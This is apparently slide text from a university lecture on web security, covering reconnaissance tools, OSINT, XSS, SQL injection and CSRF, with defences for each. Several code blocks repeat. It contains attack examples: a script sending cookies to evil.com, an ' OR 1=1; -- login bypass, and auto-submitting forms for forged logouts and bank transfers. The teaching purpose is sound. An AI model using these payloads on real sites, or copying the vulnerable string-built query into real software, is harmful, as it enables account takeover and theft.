Attack surface: all of the points in which an attacker might find a way to gain access a target's environment.
An attack surface can include many components:
Unless they have insider access, attackers usually start off with very little information about the networks they're penetrating.
Before they can obtain access to a target's network, they have to gather information about the target's attack surface and identify potential vulnerabilities.
The common term for this intelligence-gathering stage is reconnaissance.
When Equifax was breached in May 2017, it was using Apache Struts to run its website. Two months earlier, a critical vulnerability had been identified in Struts (CVE-2017-5638).
Source: Apache Software Foundation
Between March and May 2017, Equifax failed to patch their servers, leaving it open to the vulnerability.
As an attacker, it's valuable to know whether the target is running vulnerable software that could be exploited to gain access to their network.
Conversely, the defender wants to discover whether any of their servers have known vulnerabilities so that they can quickly remediate.
nmap
A port scanner is a tool that scans the open ports of a machine and tries to figure out as much information as possible from those ports.
Nmap is a port scanning and network diagnostic tool that can show you information about a server, including its operating system, what services it's running, and more.
Source: the Nmap Project
nmap
Example:
$ nmap -v -A scanme.nmap.org ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) ... 25/tcp filtered smtp 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: 156515DA3C0F7DC6B2493BD5CE43F795 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Go ahead and ScanMe! ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ nmap -v -A scanme.nmap.org ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) ... 25/tcp filtered smtp 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: 156515DA3C0F7DC6B2493BD5CE43F795 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Go ahead and ScanMe! ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ nmap -v -A scanme.nmap.org ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) ... 25/tcp filtered smtp 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: 156515DA3C0F7DC6B2493BD5CE43F795 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Go ahead and ScanMe! ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ nmap -v -A scanme.nmap.org ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) ... 25/tcp filtered smtp 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: 156515DA3C0F7DC6B2493BD5CE43F795 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Go ahead and ScanMe! ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ nmap -v -A scanme.nmap.org ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) ... 25/tcp filtered smtp 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: 156515DA3C0F7DC6B2493BD5CE43F795 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Go ahead and ScanMe! ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
-v
: verbose output
-A
: enable OS detection, version detection, script scanning, and traceroute
Nmap shows us the open ports that it was able to identify, and what services it believes are on those ports.
Some ports may be "filtered", which means that Nmap can't tell if it's open or closed because of packet filtering rules
Nmap will run scripts against common service to try and get more information about them
ffuf
ffuf
("Fast Fuzzer U Fool") is a web fuzzing utility that can be used
to discovering a web server's contents and explore its responses to requests.
ffuf
Example: find all directories and webpages prefixed by the URL
https://ffuf.io.fi
$ ffuf -c -w /path/to/wordlist \
-u https://ffuf.me/FUZZ
-c
: colorize output-w
: wordlist to use-u
: URL to enumerateSource: https://github.com/ffuf/ffuf
Open-source intelligence, or OSINT, is information gathered from open and public resources, like websites and social media.
Example: Bellingcat's recent investigation into Maria Adela
Where was this picture taken?
https://www.cs.virginia.edu/~wss2ec/courses/cs3710/img/misc/osint_chal.webp
Answer:
Source: @TinkerSec
From a cybersecurity perspective, OSINT is a useful tool for attackers to gather information about the defender and enable more human-oriented attacks.
Examples:
<!doctype html> <html> <head> <meta charset="utf-8"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>This is a heading</h1> <p>Hello, world!</p> </body> <script type="application/javascript"> console.log("hello, world!"); </script> </html>
<!doctype html> <html> <head> <meta charset="utf-8"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>This is a heading</h1> <p>Hello, world!</p> </body> <script type="application/javascript"> console.log("hello, world!"); </script> </html>
<!doctype html> <html> <head> <meta charset="utf-8"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>This is a heading</h1> <p>Hello, world!</p> </body> <script type="application/javascript"> console.log("hello, world!"); </script> </html>
<!doctype html> <html> <head> <meta charset="utf-8"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>This is a heading</h1> <p>Hello, world!</p> </body> <script type="application/javascript"> console.log("hello, world!"); </script> </html>
<!doctype html> <html> <head> <meta charset="utf-8"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>This is a heading</h1> <p>Hello, world!</p> </body> <script type="application/javascript"> console.log("hello, world!"); </script> </html>
<!doctype html> <html> <head> <meta charset="utf-8"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>This is a heading</h1> <p>Hello, world!</p> </body> <script type="application/javascript"> console.log("hello, world!"); </script> </html>
Doctype declaration; <html>...</html>
wrapper
<head>
containing metadata
Page body rendered in web browser
JavaScript contained inside <script>...</script>
tags
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="style.css">
</head>
<body>
<h1>This is a heading</h1>
<p>Hello, world!</p>
</body>
<script type="application/javascript">
console.log("hello, world!");
</script>
</html>
JavaScript is a programming language that drives client-side behavior on websites. Almost all websites that you visit use JavaScript in some way.
(Even these slides use JavaScript -- they were built with reveal.js!)
Cross-site scripting (abbreviated XSS) is an attack in which malicious JavaScript is uploaded to a server and then injected into other users' browsers when they retrieve a page.
<script>
window.location = "https://evil.com";
</script>
Another way that an attacker can leverage XSS is to try and exfiltrate users' cookies to an attacker-controlled server.
Recall that cookies are small amounts of data that a website can store in the browser, which are often used for authentication. With a copy of another user's cookies, you can log in as them.
Attacker workflow:
document.cookie
variable.<script> fetch("https://evil.com/?" + document.cookie) .then(() => console.log("Successfully exfiltrated cookies!")) .catch(err => console.log("Error: " + err)); </script>
<script> fetch("https://evil.com/?" + document.cookie) .then(() => console.log("Successfully exfiltrated cookies!")) .catch(err => console.log("Error: " + err)); </script>
<script> fetch("https://evil.com/?" + document.cookie) .then(() => console.log("Successfully exfiltrated cookies!")) .catch(err => console.log("Error: " + err)); </script>
<script> fetch("https://evil.com/?" + document.cookie) .then(() => console.log("Successfully exfiltrated cookies!")) .catch(err => console.log("Error: " + err)); </script>
fetch
makes an HTTP GET request to https://evil.com
containing the cookie.
Example: if document.cookie
is auth=0123abcdef
, it will make a request
to
https://evil.com/?auth=0123abcdef
Handle cases where the request succeeded or failed
Fortnite: in 2019, an XSS was found in an old subdomain owned by Epic Games (the publishers of Fortnite).
If it had been exploited, it could have been used to gain access to a user's account by tricking them into clicking on a link to the vulnerable subdomain.
XSS attacks have become progressively less common over time as awareness of them has increased.
An important technique for defending against XSS (and many other attacks) is input sanitization: don't trust input that non-priviliged users can supply, and make sure that it doesn't get injected into the source of the webpage or the server.
Defense: HTML encoding
HTML encoding is a means for encoding various characters that might otherwise be interpreted as part of the DOM (Document Object Model).
<script>
alert();
</script>
Under HTML encoding, this becomes:
<script>
alert();
</script>
This looks identical to the text with the <script>...</script>
tags in your browser, but it doesn't get interpreted as JavaScript.
Defense: XSS sanitization
Sometimes you still want to allow users to use a "safe" subset of HTML. For those purposes, you can use an XSS sanitizer like DOMPurify.
// becomes <img src="x">
DOMPurify.sanitize('<img src=x onerror=alert(1)//>');
// becomes <svg><g></g></svg>
DOMPurify.sanitize('<svg><g/onload=alert(2)//<p>');
// becomes <p>abc</p>
DOMPurify.sanitize('<p>abc<iframe//src=jAva	script:alert(3)>def</p>');
SQL is a common domain-specific language for managing relational databases. Many databases use SQL at their core, including
$ sqlite3 users.db
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> CREATE TABLE users (
...> username TEXT,
...> passwd TEXT,
...> created_at INTEGER
...> );
Here are some example statements for SQLite:
CREATE TABLE users (username TEXT, passwd TEXT, created_at INTEGER);
INSERT INTO users (username, passwd, created_at)
VALUES ('bob', 'password123', 1655483070);
SELECT * FROM users;
1641013200
):SELECT username, passwd FROM users
WHERE created_at >= 1641013200;
SELECT username, passwd FROM users
-- Filter by the time the users were created
WHERE created_at >= 1641013200; -- timestamp = Jan. 1, 2022
DROP TABLE users;
SQL injection (often abbreviated SQLi) occurs when a user is able to inject their own input into a SQL statement and make it do something it isn't supposed to.
import sqlite3 username = input("Enter username: ") password = input("Enter password: ") with sqlite3.connect("users.db") as con: query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" ) results = con.execute(query).fetchone() if results is None: print("Access denied :(") else: print("Access granted!")
import sqlite3 username = input("Enter username: ") password = input("Enter password: ") with sqlite3.connect("users.db") as con: query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" ) results = con.execute(query).fetchone() if results is None: print("Access denied :(") else: print("Access granted!")
import sqlite3 username = input("Enter username: ") password = input("Enter password: ") with sqlite3.connect("users.db") as con: query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" ) results = con.execute(query).fetchone() if results is None: print("Access denied :(") else: print("Access granted!")
import sqlite3 username = input("Enter username: ") password = input("Enter password: ") with sqlite3.connect("users.db") as con: query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" ) results = con.execute(query).fetchone() if results is None: print("Access denied :(") else: print("Access granted!")
import sqlite3 username = input("Enter username: ") password = input("Enter password: ") with sqlite3.connect("users.db") as con: query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" ) results = con.execute(query).fetchone() if results is None: print("Access denied :(") else: print("Access granted!")
import sqlite3 username = input("Enter username: ") password = input("Enter password: ") with sqlite3.connect("users.db") as con: query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" ) results = con.execute(query).fetchone() if results is None: print("Access denied :(") else: print("Access granted!")
import sqlite3 username = input("Enter username: ") password = input("Enter password: ") with sqlite3.connect("users.db") as con: query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" ) results = con.execute(query).fetchone() if results is None: print("Access denied :(") else: print("Access granted!")
Program asks user for their username and password
We connect to the users.db
SQLite database
We execute a SELECT
statement that checks whether the database has a user with
the specified username and password.
If the username/password combination does not exist,
con.execute(query).fetchone()
returns None
; otherwise, it returns the first
match in the database.
Aside: never construct your database this way! You should not store passwords in a database in plaintext.
We'll come back to this in a later class when we talk about cryptography and password storage.
Let's focus on these lines:
query = (
f"SELECT * FROM users WHERE username = '{username}' "
f"AND passwd = '{password}'"
)
Enter username: bob
Enter password: password123
Access granted!
Produces the following query:
SELECT * FROM users WHERE username = 'bob'
AND passwd = 'password123';
query = (
f"SELECT * FROM users WHERE username = '{username}' "
f"AND passwd = '{password}'"
)
Enter username: bob
Enter password: incorrect_password
Access denied :(
SELECT * FROM users WHERE username = 'bob'
AND passwd = 'incorrect_password';
query = (
f"SELECT * FROM users WHERE username = '{username}' "
f"AND passwd = '{password}'"
)
Enter username: bob Enter password: ' OR 1=1; -- Access granted!
Enter username: bob Enter password: ' OR 1=1; -- Access granted!
Enter username: bob Enter password: ' OR 1=1; -- Access granted!
The SQL statement was constructed in a way that allowed us to "break out" of the
password
string and inject our own SQL code.
query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" )
password
→ ' OR 1=1; --
↓
query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '' OR 1=1; --'" )
SELECT * FROM users WHERE username = 'bob' AND passwd = '' OR 1=1; --';
sqlmap
sqlmap
is a command line tool that you can use to
automatically identify SQL injections in websites.
Source: sqlmap.org
Libraries for interfacing with SQL (should) have a means of inserting user-supplied parameters and properly sanitizing them.
# Unsafe!!! query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" ) results = con.execute(query) # Safe query = "SELECT * FROM users WHERE username = ? and passwd = ?" results = con.execute(query, (username, password))
# Unsafe!!! query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" ) results = con.execute(query) # Safe query = "SELECT * FROM users WHERE username = ? and passwd = ?" results = con.execute(query, (username, password))
The first query injects the user-supplied data directly into the SQL query and is vulnerable to SQL injection.
The second query will properly escape the user-supplied parameters and ensure that they don't become a part of the actual statement that gets executed.
Source: XKCD
Cross-Site Request Forgery (CSRF) occurs when visiting a site generates a request that triggers a change in another site.
When you visit a website, it's normal for the website to trigger requests to a bunch of other sites.
Normally, these requests are (relatively) benign.
However, if you visit a malicious website, an attacker can try to get your browser to make HTTP requests to a site that you trust
This is a basic "user login" HTML form:
<form action="/login" method="POST"> <input type="text" name="username"> <input type="password" name="password"> <input type="submit" name="login"> </form>
<form action="/login" method="POST"> <input type="text" name="username"> <input type="password" name="password"> <input type="submit" name="login"> </form>
<form action="/login" method="POST"> <input type="text" name="username"> <input type="password" name="password"> <input type="submit" name="login"> </form>
<form action="/login" method="POST"> <input type="text" name="username"> <input type="password" name="password"> <input type="submit" name="login"> </form>
<form action="/login" method="POST"> <input type="text" name="username"> <input type="password" name="password"> <input type="submit" name="login"> </form>
<form action="/login" method="POST"> <input type="text" name="username"> <input type="password" name="password"> <input type="submit" name="login"> </form>
action="/login"
: URL to send data to
method="POST"
: type of HTTP request to make (POST
request)
<input>
elements: key-value pairs that get sent alongside the POST
request.
submit
input element: triggers the POST
request
Suppose that www.example.com
implemented user logout by simply having users
make a POST request to the /logout
URL.
<form action="/logout" method="POST">
<input type="submit" name="logout" value="Logout">
</form>
An attacker who tricks a user into visiting www.evil.com
can create a form
that automatically makes a POST request to the vulnerable /logout
endpoint:
<form id="evil-form" action="http://www.example.com/logout" method="POST"> <input type="submit" name="logout" value="Logout"> </form> <script> document.getElementById("evil-form").submit(); </script>
<form id="evil-form" action="http://www.example.com/logout" method="POST"> <input type="submit" name="logout" value="Logout"> </form> <script> document.getElementById("evil-form").submit(); </script>
<form id="evil-form" action="http://www.example.com/logout" method="POST"> <input type="submit" name="logout" value="Logout"> </form> <script> document.getElementById("evil-form").submit(); </script>
We can come up with more malicious ideas than just logging a person out of their account:
<form id="evil-form" action="http://www.bank.com/transfer" method="POST">
<input type="text" name="to" value="Alice">
<input type="text" name="amount" value="200">
<input type="submit" value="submit">
</form>
<script>
document.getElementById("evil-form").submit();
</script>
Ex. Use CSRF to transfer $200 to Alice from your bank's website
The most popular method for defending against CSRF is to use CSRF tokens.
<form action="/logout" method="POST"> <input type="hidden" name="csrftoken" value="1qWCsmE5T3nY55plgtm3EwarasJkVOJm"> <input type="submit" name="logout" value="Logout"> </form>
<form action="/logout" method="POST"> <input type="hidden" name="csrftoken" value="1qWCsmE5T3nY55plgtm3EwarasJkVOJm"> <input type="submit" name="logout" value="Logout"> </form>
The server randomly generates this token and embeds it in the page.
This token must be sent alongside any requests that the user makes on the page. When the server receives a token, it's validated against the user's session data.
Without a CSRF token:
With a CSRF token:
cd $(mktemp -d)
URL="https://www.cs.virginia.edu/~wss2ec/courses/cs3710"
URL="$URL/examples/web/csrf_ticktock_example.html"
wget "$URL" -O index.html
# Starts a web server on localhost:8000, which you can then visit
# in your browser
python3 -m http.server
(Will only work through the Lab 2 environment in VCR.)
In 2020, TikTok had a CSRF vulnerability that, when combined with a reflected XSS vulnerability, could result in a "one-click" account takeover.
An attacker who can trick a victim into visiting a website that they control can manipulate the victim's browser into making a request to a website vulnerable to CSRF.
Depending on the severity of the CSRF, this can allow an attacker to perform various actions on that website as if they were the victim.